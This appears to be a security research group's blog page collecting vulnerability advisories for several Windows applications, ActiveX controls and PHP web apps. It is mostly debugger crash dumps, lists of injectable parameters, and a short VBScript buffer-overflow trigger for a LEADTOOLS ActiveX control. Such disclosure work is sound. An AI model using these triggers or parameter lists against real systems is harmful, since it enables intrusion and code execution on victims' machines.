Posts Tagged ‘ доказ на концепт

EdrawSoft Office Viewer Component ActiveX 5.6 (officeviewermme.ocx) BoF PoC

The ActiveX suffers from a buffer overflow vulnerability when parsing large amount of bytes to the FtpUploadFile member in FtpUploadFile() function, resulting memory corruption overwriting severeal registers including the SEH. An attacker can gain access to the system of the affected node and execute arbitrary code.

--------------------------------------------------------------

CompanyName EdrawSoft
FileDescription Edraw Office Viewer Component
FileVersion 5.6.578.1

OriginalFileName officeviewer.ocx
ProductName OfficeViewerOCX
ProductVersion 5.6.5781

Report for Clsid: {F6FE8878-54D2-4333-B9F0-FC543B1BE1ED}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data

Exception Code: ACCESS_VIOLATION
Disasm: 220324CC MOV [EDI],AX (officeviewermme.ocx)

Seh Chain:
--------------------------------------------------
1 410041

Called From Returns To
--------------------------------------------------
officeviewermme.220324CC officeviewermme.22026402

Registers:
--------------------------------------------------
EIP 220324CC
EAX 00000041
EBX 00001015
ECX 000002A0
EDX 001B2E4C -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EDI 01870000
ESI 0186E518 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP 0186C490 -> 0186C530
ESP 0186C488 -> 00000000

Block Disassembly:
--------------------------------------------------
220324BD MOV EDI,[EBP+8]
220324C0 MOV ESI,EDI
220324C2 TEST ECX,ECX
220324C4 JE SHORT 220324F7
220324C6 MOV EDX,[EBP+C]
220324C9 MOVZX EAX,WORD PTR [EDX]
220324CC MOV [EDI],AX <--- CRASH 220324CF INC EDI 220324D0 INC EDI 220324D1 INC EDX 220324D2 INC EDX 220324D3 TEST AX,AX 220324D6 JE SHORT 220324DB 220324D8 DEC ECX 220324D9 JNZ SHORT 220324C9 ArgDump: -------------------------------------------------- EBP+8 0186E518 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+12 001B1364 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+16 00001014
EBP+20 00000000
EBP+24 000007FC
EBP+28 01761EC0 -> Uni: D5")"

Stack Dump:
--------------------------------------------------
186C488 00 00 00 00 64 13 1B 00 30 C5 86 01 02 64 02 22 [....d........d..]
186C498 18 E5 86 01 64 13 1B 00 14 10 00 00 00 00 00 00 [....d...........]
186C4A8 FC 07 00 00 C0 1E 76 01 18 CD 86 01 18 D5 86 01 [......v.........]
186C4B8 18 ED 86 01 64 13 1B 00 10 CD 86 01 18 E5 86 01 [....d...........]
186C4C8 14 10 00 00 8E 33 1B 00 14 10 00 00 00 00 00 00 [................]

--------------------------------------------------------------

(6c9c.6c70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=00001015 ecx=000002a0 edx=001b2edc esi=0186e518 edi=01870000
eip=220324cc esp=0186c488 ebp=0186c490 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Mindjet\MindManager 10\officeviewermme.ocx -
officeviewermme!DllRegisterServer+0x23bbe:
220324cc 668907 mov word ptr [edi],ax ds:0023:01870000=????
0:004> !exchain
0186fa84: 00410041
Invalid exception stack at 00410041
0:004> d esi
0186e518 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e528 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e538 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e548 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e558 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e568 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e578 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e588 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:004> d edx
001b2edc 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2eec 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2efc 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2f0c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2f1c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2f2c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2f3c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2f4c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:004> d esp+3000
0186f488 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f498 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4a8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4b8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4c8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4d8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4e8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4f8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:004> !load msec; !exploitable
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at officeviewermme!DllRegisterServer+0x0000000000023bbe (Hash=0x55146322.0x550a2c22)

User mode write access violations that are not near NULL are exploitable.

Advisory ID: ZSL-2012-5069
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5069.php

WinMerge v2.12.4 Project File Handling Stack Overflow Vulnerability

WinMerge version 2.12.4 suffers from a stack overflow vulnerability because it fails to properly sanitize user supplied input when parsing .winmerge project file format resulting in a crash overflowing the memory stack. The attacker can use this scenario to lure unsuspecting users to open malicious crafted .winmerge files with a potential for arbitrary code execution on the affected system.

(e34.10b0): Stack overflow – code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000011 ebx=0001f83c ecx=50000161 edx=7ffe0300 esi=00000000 edi=00c30000
eip=7c90cf78 esp=00033000 ebp=00033238 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
ntdll!NtAllocateVirtualMemory+0xa:
7c90cf78 ff12 call dword ptr [edx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c90e510)}
0:000> g
(e34.10b0): C++ EH exception – code e06d7363 (first chance)
(e34.10b0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000d28 ebx=00523001 ecx=00000000 edx=00000000 esi=00000000 edi=00031ad8
eip=7c90e8e5 esp=00030c9c ebp=000319d4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
ntdll!strchr+0xd8:
7c90e8e5 53 push ebx

IDENTITY:HostMachine\HostUser
PROCESSOR:X86
CLASS:USER
QUALIFIER:USER_PROCESS
EVENT:DEBUG_EVENT_EXCEPTION
EXCEPTION_FAULTING_ADDRESS:0x30c98
EXCEPTION_CODE:0xC0000005
EXCEPTION_LEVEL:FIRST_CHANCE
EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION
EXCEPTION_SUBTYPE:WRITE
MAJOR_HASH:0x6a7f3670
MINOR_HASH:0x6a7f3607
STACK_DEPTH:1
STACK_FRAME:ntdll!strchr+0xd8
INSTRUCTION_ADDRESS:0x000000007c90e8e5
INVOKING_STACK_FRAME:0
DESCRIPTION:User Mode Write AV
SHORT_DESCRIPTION:WriteAV
CLASSIFICATION:EXPLOITABLE
BUG_TITLE:Exploitable – User Mode Write AV starting at ntdll!strchr+0x00000000000000d8 (Hash=0x6a7f3670.0x6a7f3607)
EXPLANATION:User mode write access violations that are not near NULL are exploitable.

————–
0:000> !exploitable -m
IDENTITY:HostMachine\HostUser
PROCESSOR:X86
CLASS:USER
QUALIFIER:USER_PROCESS
EVENT:DEBUG_EVENT_EXCEPTION
*** ERROR: Module load completed but symbols could not be loaded for C:\WINDOWS\system32\MFC71U.DLL
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll –
EXCEPTION_FAULTING_ADDRESS:0x4a8535
EXCEPTION_CODE:0xC00000FD
EXCEPTION_LEVEL:FIRST_CHANCE
EXCEPTION_TYPE:STATUS_STACK_OVERFLOW
FAULTING_INSTRUCTION:004a8535 test dword ptr [ecx],eax
BASIC_BLOCK_INSTRUCTION_COUNT:3
BASIC_BLOCK_INSTRUCTION:004a8535 test dword ptr [ecx],eax
BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax
BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:ecx
BASIC_BLOCK_INSTRUCTION:004a8537 cmp eax,offset +0xfff (00001000)
BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax
BASIC_BLOCK_INSTRUCTION:004a853c jae image00400000+0xa852a (004a852a)
BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:CarryFlag
MAJOR_HASH:0x5400703f
MINOR_HASH:0x6807213b
STACK_DEPTH:20
STACK_FRAME:image00400000+0xa8535
STACK_FRAME:image00400000+0x65449
STACK_FRAME:image00400000+0x4945b
STACK_FRAME:image00400000+0x4466b
STACK_FRAME:MFC71U+0x3421e
STACK_FRAME:MFC71U+0x311b4
STACK_FRAME:MFC71U+0x32ae1
STACK_FRAME:MFC71U+0x4482
STACK_FRAME:MFC71U+0x351e9
STACK_FRAME:MFC71U+0x353e3
STACK_FRAME:MFC71U+0x2f0fa
STACK_FRAME:image00400000+0x42ce3
STACK_FRAME:MFC71U+0x2f199
STACK_FRAME:MFC71U+0x2f279
STACK_FRAME:MFC71U+0x2f227
STACK_FRAME:USER32!GetDC+0x6d
STACK_FRAME:USER32!GetDC+0x14f
STACK_FRAME:USER32!GetWindowLongW+0x127
STACK_FRAME:USER32!DispatchMessageW+0xf
STACK_FRAME:MFC71U+0x346ea
INSTRUCTION_ADDRESS:0x00000000004a8535
INVOKING_STACK_FRAME:0
DESCRIPTION:Stack Overflow
SHORT_DESCRIPTION:StackOverflow
CLASSIFICATION:UNKNOWN
BUG_TITLE:Stack Overflow starting at image00400000+0x00000000000a8535 (Hash=0x5400703f.0x6807213b)
0:000> uf 004a8535
image00400000+0xa852a:
004a852a 81e900100000 sub ecx,1000h
004a8530 2d00100000 sub eax,1000h

image00400000+0xa8535:
004a8535 8501 test dword ptr [ecx],eax
004a8537 3d00100000 cmp eax,1000h
004a853c 73ec jae image00400000+0xa852a (004a852a)

image00400000+0xa853e:
004a853e 2bc8 sub ecx,eax
004a8540 8bc4 mov eax,esp
004a8542 8501 test dword ptr [ecx],eax
004a8544 8be1 mov esp,ecx
004a8546 8b08 mov ecx,dword ptr [eax]
004a8548 8b4004 mov eax,dword ptr [eax+4]
004a854b 50 push eax
004a854c c3 ret
0:000> d edx
01f30021 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01f30031 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01f30041 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01f30051 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01f30061 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01f30071 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01f30081 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01f30091 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> u 01f30021
01f30021 41 inc ecx
01f30022 41 inc ecx
01f30023 41 inc ecx

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4997.php

t00t!

Macro Express Pro 4.2.2.1 MXE File Syntactic Analysis Buffer Overflow PoC

A buffer overflow vulnerability has been identified in Macro Express Pro, possibly this vuln may exist in the regular version and older versions of Macro Express and Macro Express Pro. We’ve reported the issue to the vendor thru their bug reporting system (http://www.macros.com/bugreport.htm) and did not receive any response for confirmation or cooperation.

We’ve managed to overwrite few registers while debugging the application, thus executed arbitrary code on the affected system.

You can take a look at the advisory here: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4986.php

Mantis Bug Tracker безбедносни предупредувања и закрпи

Денеска, Zero Science Lab во соработка со MantisBT Group објави безбедносни предупредувања и закрпи за популарниот систем за следење на грешки или багови MantisBT (отворен код). Се работи за неколку сериозни ранливости со чија помош, напаѓачот може да дојде до осетливи информации на заразениот систем со пропатување на директориуми или пак да извршува HTML код во корисничкиот прелистувач со помош на XSS напад.

Слабоста се наоѓа во “upgrade_unattended.php” скриптата, која се наоѓа во “admin” папката. При повикување на параметарот “db_type” било со GET или POST методата, апликацијата не извшува доволно и контролирано санирање на корисничкото внесување при што се откриваат системски информации.

По дефинирање, се работи за Reflected (Non-persistent) Cross-Site Scripting, Local File Inclusion/Disclosure и Path Disclosure ранливости. Ние извршивме тестирање на “live” веб-страници (со дозвола), и заклучивме да ги рангираме ранливостите како Medium Risk (xss) и High Risk (lfi).

Голема благодарност до Дејвид Хикс и Виктор Боктор од MantisBT групата, кои одговорија на пријавените слабости и реагираа во најбрз временски период како и во објавување на закрпа и предупредувања после кое следеше објавување на 1.2.4 верзијата. Иако Дејвид напоменуваше дека имало “Warning” дека папката “admin” треба да се избрише после инсталација, јас такво предупредување не видов поради различните оперативни системи и PHP пермисии, и заклучивме дека многу инсталации на интернетот (кои користат MantisBT) се со присатен “admin” фолдер.

Освен јавно објавените предупредувања, објавивме и официјален Google Dork на Exploit-DB заедницата: http://www.exploit-db.com/ghdb/3651/

Предупредувањата од ZSL како и од MantisBT можете да ги погледнете подолу:

ZSL-2010-4983: MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability
ZSL-2010-4983: MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability
MantisBT: http://www.mantisbt.org/bugs/view.php?id=12607

Ажурирајте. ;}

Native Instruments Multiple Products Multiple Vulnerabilities

Zero Science Lab has discovered multiple vulnerabilities in various products developed by Native Instruments. Upon the discoveries, we’ve contacted the vendor to report all the issues. Their technical support, at first, were confused about our e-mail sent to them, thinking that we have troubles using their software. As we explained to them in details in the next e-mail, about QA, about security bulletins, about public disclosure policy, the security industry etc. they finally forwarded the conversation e-mails to the “corresponding” department, which we think that they don’t even have any related team to respond for these kind of incidents. Anywayz, no one shows interest from Native Instruments, thus are informed about the date of public disclosure (this post).

We haven’t tested all the software packages that NI offers, but we think that the rest of the apps are vulnerable to the similar vulns that we found, maybe more.

Here are the advisories:

Native Instruments Service Center 2.2.5 Local Privilege Escalation VulnerabilityZSL-2010-4981
Native Instruments Massive 1.1.4 KSD File Handling Use-After-Free VulnerabilityZSL-2010-4980
Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoCZSL-2010-4979
Native Instruments Reaktor 5 Player v5.5.1 Heap Memory Corruption VulnerabilityZSL-2010-4978
Native Instruments Traktor Pro 1.2.6 Stack-based Buffer Overflow VulnerabilityZSL-2010-4977
Native Instruments Kontakt 4 Player v4.1.3 Insecure Library Loading VulnerabilityZSL-2010-4976
Native Instruments Service Center 2.2.5 Insecure Library Loading VulnerabilityZSL-2010-4975
Native Instruments Reaktor 5 Player v5.5.1 Insecure Library Loading VulnerabilityZSL-2010-4974
Native Instruments Guitar Rig 4 Player v4.1.1 Insecure Library Loading VulnerabilityZSL-2010-4973

Some SSs:

Altova DatabaseSpy 2011 Project File Handling Buffer Overflow Vulnerability

The Altova DatabaseSpy 2011 Enterprise Edition suffers from a buffer overflow/memory corruption vulnerability when handling project files (.qprj). The issue is triggered because there is no boundry checking of some XML tag property values, ex: <Folder FolderName=”SQL” Type=”AAAAAAA…./>” (~1000 bytes). This can aid the attacker to execute arbitrary machine code in the context of an affected node (locally and remotely) via file crafting or computer-based social engineering.

Advisory ID: ZSL-2010-4971
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4971.php
Advisory TXT: http://www.zeroscience.mk/codes/dbspy_bof.txt

Exponent CMS v0.97 Multiple Vulnerabilities

Vendor: OIC Group Inc.
Product web page: http://www.exponentcms.org
Affected version: 0.97

Summary: Open Source Content Management System (PHP+MySQL).

Desc: Exponent CMS suffers from multiple vulnerabilities:

#1. Local File Inclusion / File Disclosure Vulnerability
#2. Arbitrary File Upload / File Modify Vulnerability
#3. Reflected Cross-Site Scripting Vulnerability

(1) LFI/FD occurs when input passed thru the params:
– “action”
– “expid”
– “ajax_action”
– “printerfriendly”
– “section”
– “module”
– “controller”
– “int”
– “src”
– “template”
– “page”
– “_common”

to the scripts:
– “index.php”
– “login_redirect.php”
– “mod_preview.php”
– “podcast.php”
– “popup.php”
– “rss.php”

is not properly verified before being used to include files.
This can be exploited to include files from local resources
with directory traversal attacks and URL encoded NULL bytes.

(2) AFU/E occurs due to an error in:
– “upload_fileuploadcontrol.php”
– “upload_standalone.php”
– “manifest.php”
– “delete.php”
– “edit.php”
– “manage.php”
– “rank_switch.php”
– “save.php”
– “view.php”
– “class.php”
– “deps.php”
– “delete_form.php”
– “delete_process.php”
– “search.php”
– “send_feedback.php”
– “viewday.php”
– “viewmonth.php”
– “viewweek.php”
– “testbot.php”
– “activate_bot.php”
– “deactivate_bot.php”
– “manage_bots.php”
– “run_bot.php”
– “class.php”
– “delete_board.php”
– “delete_post.php”
– “edit_board.php”
– “edit_post.php”
– “edit_rank.php”
– “monitor_all_boards.php”
– “monitor_board.php”
– “monitor_thread.php”
– “preview_post.php”
– “save_board.php”
– “save_post.php”
– “save_rank.php”
– “view_admin.php”
– “view_board.php”
– “view_rank.php”
– “view_thread.php”
– “banner_click.php”
– “ad_delete.php”
– “ad_edit.php”
– “ad_save.php”
– “af_delete.php”
– “af_edit.php”
– “af_save.php”
– “delete_article.php”
– “edit_article.php”
– “save_article.php”
– “save_submission.php”
– “submit_article.php”
– “view_article.php”
– “view_submissions.php”
– “coretasks.php”
– “htmlarea_tasks.php”
– “search_tasks.php”
– “clear_smarty_cache.php”
– “configuresite.php”
– “config_activate.php”
– “config_configuresite.php”
– “config_delete.php”
– “config_save.php”
– “examplecontent.php”
– “finish_install_extension.php”
– “gmgr_delete.php”
– “gmgr_editprofile.php”
– “gmgr_membership.php”
– “gmgr_savegroup.php”
– “gmgr_savemembers.php”

as it allows uploads of files with multiple extensions to a
folder inside the web root. This can be exploited to execute
arbitrary PHP code by uploading a specially crafted PHP script.

The uploaded files are stored in: [CMS_ROOT_HOST]\files

(3) XSS occurs when input passed to the params:
– “u”
– “expid”
– “ajax_action”
– “ss”
– “sm”
– “url”
– “rss_url”
– “lang”
– “toolbar”
– “section”
– “section_name”
– “src”

in scripts:
– “slideshow.js.php”
– “picked_source.php”
– “magpie_debug.php”
– “magpie_simple.php”
– “magpie_slashbox.php”
– “test.php”
– “fcktoolbarconfig.js.php”
– “section_linked.php”
– “index.php”

is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script
code in a user’s browser session in context of an affected site.

Tested on: Microsoft Windows XP Professional SP3 (English)
Apache 2.2.14 (Win32)
MySQL 5.1.41
PHP 5.3.1

Vendor status: [09.10.2010] Vulnerabilities discovered.
[10.10.2010] Vendor contacted.
[13.10.2010] No reply from vendor.
[14.10.2010] Public advisory released.

Advisory ID: ZSL-2010-4969
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4969.php

Vulnerabilities discovered by: Gjoko ‘LiquidWorm’ Krstic
liquidworm gmail com
Zero Science Lab – http://www.zeroscience.mk

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4969.php

Raw analysis (hi 5 John Leitch): Log_Exponent.txt (616 KB)

Softek Barcode Reader Toolkit ActiveX 7.1.4.14 (SoftekATL.dll) Buffer Overflow PoC

Vendor: Softek Software Ltd
Product web page: http://www.bardecode.com
Affected version: 7.1.4.14

Summary: The Softek Barcode Reader Toolkit for Windows is a SDK that enables applications
to extract barcode information from images. The API’s available in the toolkit include .net,
java, com, ocx and windows dll. The standard version includes support for both 1 and 2-D
barcodes and special features include the ability to split documents by barcode position.

Desc: The vulnerability is caused due to a boundary error in SoftekATL.DLL when handling the
value assigned to the “DebugTraceFile” property and can be exploited to cause a heap-based
buffer overflow via an overly long string which may lead to execution of arbitrary code.

————————————————————————–

(824.ce0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=44444444 ecx=7ffdf000 edx=00470608 esi=00470000 edi=4444443c
eip=7c96fa89 esp=0013f0a0 ebp=0013f100 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ntdll!RtlpNtMakeTemporaryKey+0x7d45:
7c96fa89 0fb707 movzx eax,word ptr [edi] ds:0023:4444443c=????
0:000> g
(824.ce0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=42424242 ecx=7ffdf000 edx=00470608 esi=00470000 edi=4242423a
eip=7c96fa89 esp=0013f0ac ebp=0013f10c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ntdll!RtlpNtMakeTemporaryKey+0x7d45:
7c96fa89 0fb707 movzx eax,word ptr [edi] ds:0023:4242423a=????
0:000> g
eax=00000000 ebx=00000000 ecx=7c800000 edx=7c97e120 esi=7c90de6e edi=00000000
eip=7c90e514 esp=0013fe5c ebp=0013ff58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
7c90e514 c3 ret

———————–

EIP 7C96FA89
EAX 00000001
EBX 42424242
ECX 7FFDD000 -> 0013F0FC
EDX 00470608 -> 00152CA0
EDI 42424239
ESI 00470000 -> 000000C8
EBP 0013F10C -> 0013F1F4
ESP 0013F0AC -> 00470000

————————————————————————–

Tested on: Microsoft Windows XP Professional SP3 (English)
Microsoft Windows Internet Explorer 8.0.6001.18702
Softek Barcode Reader 7.3.1

Advisory: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2010-4965.php

LEADTOOLS ActiveX Common Dialogs 16.5 Multiple Remote Vulnerabilities

Vendor: LEAD Technologies, Inc.
Product Web Page: http://www.leadtools.com
Affected version: 16.5.0.2

Summary: With LEADTOOLS you can control any scanner, digital camera
or capture card that has a TWAIN (32 and 64 bit) device driver.
High-level acquisition support is included for ease of use while
low-level functionality is provided for flexibility and control in
even the most demanding scanning applications.

Desc: LEADTOOLS ActiveX Common Dialogs suffers from multiple remote
vulnerabilities (IoF, BoF, DoS) as it fails to sanitize the input in
different objects included in the Common Dialogs class.

Vulnerable Objects/OCX Dialogs (Win32):

1. ActiveX Common Dialogs (Web) ——————–> LtocxWebDlgu.dll
2. ActiveX Common Dialogs (Effects) —————-> LtocxEfxDlgu.dll
3. ActiveX Common Dialogs (Image) ——————> LtocxImgDlgu.dll
4. ActiveX Common Dialogs (Image Effects) ———-> LtocxImgEfxDlgu.dll
5. ActiveX Common Dialogs (Image Document)———-> LtocxImgDocDlgu.dll
6. ActiveX Common Dialogs (Color) ——————> LtocxClrDlgu.dll
7. ActiveX Common Dialogs (File) ——————-> LtocxFileDlgu.dll

Advisory: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2010-4961.php

LEADTOOLS ActiveX Raster Twain v16.5 (LtocxTwainu.dll) Remote Buffer Overflow PoC

Vendor: LEAD Technologies, Inc.
Product Web Page: http://www.leadtools.com
Affected Version: 16.5.0.2

Summary: With LEADTOOLS you can control any scanner, digital camera
or capture card that has a TWAIN (32 and 64 bit) device driver.
High-level acquisition support is included for ease of use while
low-level functionality is provided for flexibility and control in
even the most demanding scanning applications.

Desc: The Raster Twain Object Library suffers from a buffer overflow
vulnerability because it fails to check the boundry of the user input.

Tested On: Microsoft Windows XP Professional SP3 (EN)
Windows Internet Explorer 8.0.6001.18702
RFgen Mobile Development Studio 4.0.0.06 (Enterprise)

===============================================================

(2c4.2624): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130041 ebx=100255bc ecx=01649000 edx=00183984 esi=0013ef6c edi=00000000
eip=7c912f4e esp=0013eda8 ebp=0013eda8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
ntdll!wcscpy+0xe:
7c912f4e 668901          mov     word ptr [ecx],ax        ds:0023:01649000=????
0:000> g
(2c4.2624): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00410039 ebx=00410039 ecx=00150000 edx=00150608 esi=00150000 edi=00410041
eip=7c96c540 esp=0013f220 ebp=0013f228 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
ntdll!RtlpNtMakeTemporaryKey+0x6a74:
7c96c540 807b07ff        cmp     byte ptr [ebx+7],0FFh      ds:0023:00410040=??

==================================================================

Registers:
————————————————–
EIP 7C912F4E
EAX 00130041
EBX 100255BC -> 10014840 -> Asc: @H@H
ECX 01649000
EDX 001839DC -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EDI 00000000
ESI 0013EF6C -> BAAD0008
EBP 0013EDA8 -> 0013EDDC
ESP 0013EDA8 -> 0013EDDC

EIP 7C96C540
EAX 00410039
EBX 00410039
ECX 00150000 -> 000000C8
EDX 00150608 -> 7C97B5A0
EDI 00410041
ESI 00150000 -> 000000C8
EBP 0013F228 -> 0013F278
ESP 0013F220 -> 00150000

ArgDump:
————————————————–
EBP+8    016479B0 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+12    0018238C -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+16    00000000
EBP+20    0013EF6C -> BAAD0008
EBP+24    100255BC -> 10014840 -> Asc: @H@H
EBP+28    0013EDB8 -> 00000000

EBP+8    00150000 -> 000000C8
EBP+12    00410039
EBP+16    7C96DBA4 -> Asc: RtlGetUserInfoHeap
EBP+20    00000000
EBP+24    00410041
EBP+28    7C80FF12 -> 9868146A

CompanyName        LEAD Technologies, Inc.
FileDescription        LEADTOOLS ActiveX Raster Twain (Win32)
FileVersion        16,5,0,2
InternalName        LTRTNU
LegalCopyright        © 1991-2009 LEAD Technologies, Inc.
OriginalFileName        LTRTNU.DLL
ProductName        LEADTOOLS® for Win32
ProductVersion        16.5.0.0

Report for Clsid: {00165752-B1BA-11CE-ABC6-F5B2E79D9E3F}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False

Exception Code: ACCESS_VIOLATION

Disasm: 7C912F4E    MOV [ECX],AX    (ntdll.dll)
Disasm: 7C96C540    CMP BYTE PTR [EBX+7],FF    (ntdll.dll)

Exception Code: BREAKPOINT

Disasm: 7C90120E    INT3    (ntdll.dll)

Seh Chain:
————————————————–
1     7C839AC0     KERNEL32.dll
2     FC2950         VBSCRIPT.dll
3     7C90E900     ntdll.dll

7C912F4E    MOV [ECX],AX            <— CRASH
7C96C540    CMP BYTE PTR [EBX+7],FF        <— CRASH
7C90120F    RETN                <— CRASH

==================================================================

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
liquidworm gmail com

Zero Science Lab – http://www.zeroscience.mk

24.08.2010

Zero Science Lab Advisory ID: ZSL-2010-4960
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4960.php

PoC:

<object classid=’clsid:00165752-B1BA-11CE-ABC6-F5B2E79D9E3F’ id=’target’ />
<script language=’vbscript’>

targetFile = “C:\Program Files\RFGen40\LtocxTwainu.dll”
prototype  = “Property Let AppName As String”
memberName = “AppName”
progid     = “LTRASTERTWAINLib_U.LEADRasterTwain_U”
argCount   = 1

arg1=String(9236, “A”)

target.AppName = arg1

</script>

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4960_pvt.php